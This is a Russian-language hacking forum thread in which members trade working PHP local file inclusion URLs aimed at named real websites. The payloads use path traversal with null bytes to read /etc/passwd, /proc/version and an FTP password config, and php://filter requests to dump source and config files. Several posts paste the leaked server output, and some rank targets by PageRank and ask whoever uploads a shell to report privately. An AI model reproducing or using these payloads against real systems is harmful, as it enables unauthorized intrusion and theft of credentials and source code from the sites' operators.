PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Немного рекурсии.

    http://www.sghp.ru/index.php?page=index.php
     
    1 person likes this.
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.vip-conferance.ru/foto.php?id=index
     
    1 person likes this.
  3. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    Ростелеком
    http://stcm.ru/download.php?f=download.php
     
  4. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    inthebreeze

     
    1 person likes this.
  5. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    http://www.cazino-monteoru.ro/index.php?pg=/home/config/passwd-proftpd.conf
     
    _________________________
    4 people like this.
  6. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    polaris-inc

    http://www.polaris-inc.com/index.php?action=../../../../etc/passwd%00
     
  7. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Портал CS:S
     
  8. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    daily5remodel.com

     
  9. Export

    Export Member

    Joined:
    13 Feb 2010
    Messages:
    69
    Likes Received:
    5
    Reputations:
    9
    http://scrollnews.ru/index.php?content=../index.php
    http://www.kymite.ru/history.php?id=../../../../../../etc/passwd%00
    http://www.tmship.ru/modules.php?mod=../../../../../etc/passwd%00
     
    1 person likes this.
  10. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://macrohosting.ru/?../../../../proc/version
     
    1 person likes this.
  11. ^NSA^

    ^NSA^ Elder - Старейшина

    Joined:
    3 Jul 2012
    Messages:
    64
    Likes Received:
    29
    Reputations:
    32
    tenerifepearl.com
     
    1 person likes this.
  12. Export

    Export Member

    Joined:
    13 Feb 2010
    Messages:
    69
    Likes Received:
    5
    Reputations:
    9
    http://www.alta-tour.net/priem_spb.php?id=../../index.php%00


    Кто зальется отпишите в пм.
     
  13. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Эти товарищи занимаются информационной безопасностью ;)
    [​IMG]
    PHP:
    http://conf-opt.ifmo.ru/index.php?page=/etc/passwd
    ...
    PHP:
    http://4vranchdouthitherefords.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
    ...
    PR=2
    PHP:
    http://hamantfoundation.org/centromedico/index.php?page=/etc/passwd
    ...
    PR=1
    PHP:
    http://www.epk.or.kz/index.php?page=php://filter/convert.base64-encode/resource=config.php
     
    _________________________
    #1333 VY_CMa, 24 Aug 2012
    Last edited: 24 Aug 2012
    2 people like this.
  14. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Свежие поступления

    PR=5
    PHP:
    http://www.ial7.ru.ac.th/index.php?page=php://filter/convert.base64-encode/resource=index.php 
    PR=4
    PHP:
    http://www.musicenterprise.org/index.php?page=php://filter/read=convert.base64-encode/resource=index.php 
    PR=3, DMOZ=true
    PHP:
    http://www.otcdoors.com/index.php?lang=en&page=php://filter/convert.base64-encode/resource=filemanager/index.php
     
    _________________________
    1 person likes this.
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    http://ozrics.dyndns.info/modules/page.php?id=../../../proc/version
    Linux version 2.6.12.6-arm1 (root@NasARM4) (gcc version 3.4.4 (release) (CodeSourcery ARM 2005q3-2)) #2 Fri Sep 24 02:08:55 CST 2010
     
    _________________________
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Inject

    _ttp://carte.notrefutur.org/page.php?p=../../../../etc/passwd

    Response

    Code:
    root:x:0:0:root:/root:/bin/bash 
    bin:x:1:1:bin:/bin:/sbin/nologin 
    daemon:x:2:2:daemon:/sbin:/sbin/nologin 
    adm:x:3:4:adm:/var/adm:/sbin/nologin 
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 
    sync:x:5:0:sync:/sbin:/bin/sync 
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
    halt:x:7:0:halt:/sbin:/sbin/halt 
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 
    
    etc
     
    _________________________
  17. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    _ttp://www.univie.ac.at/ptox/page.php?p=../../../../proc/version%00 (+environ%00)
    PHP:
    Linux version 2.6.32-220.7.1.el6.x86_64 (mockbuild@x86-002.build.bos.redhat.com) (gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Fri Feb 10 15:22:22 EST 2012
    _ttp://europatweets.eu/page.php?p=../../../../../../../etc/passwd%00
    PHP:
    Linux version 2.6.34.6-xxxx-std-ipv6-64 (root@kernel-64.ovh.net) (gcc version 4.3.2 (Debian 4.3.2-1.1) ) #3 SMP Fri Sep 17 16:19:12 UTC 2010

    зы. кто зальётся, отпишите в ПМ
     
    #1337 eksin, 1 Oct 2012
    Last edited: 1 Oct 2012
  18. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    _ttp://2010.sibico.com/index.php?content=../../../../../../etc/passwd%00

    _ttp://www.kruger.ch/index.php?content=../etc/passwd%00
     
    1 person likes this.
  19. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    _ttp://www.software4schools.com/index.php?do=../../../etc/passwd%00

    PHP:
    Linux version 2.6.18-028stab091.2 (root@rhel5-build-x64) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-46)) #1 SMP Fri Jun 3 00:02:40 MSD 2011
     
    2 people like this.
  20. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    _ttp://www.theworkingworld.org/index.php?action=../../../etc/passwd%00
    PHP:
    Linux version 2.6.9-89.0.9.ELsmp (mockbuild@x86-007.build.bos.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-11)) #1 SMP Wed Aug 19 08:07:15 EDT 2009
    _ttp://www.cloud9cycles.com/index.php?content=../../../../../../etc/passwd%00
    PHP:
    Linux version 2.6.18-274.12.1.el5 (mockbuild@builder10.centos.org) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-51)) #1 SMP Tue Nov 29 13:37:46 EST 2011
    _ttp://www.sasic.com/html/index.php?content=../../../../../proc/version%00
    PHP:
    Linux version 2.6.9-5.ELsmp (bhcompile@decompose.build.redhat.com) (gcc version 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)) #1 SMP Wed Jan 5 19:30:39 EST 2005
    _ttp://www.okfarmbureau.org/index.php?action=../etc/passwd%00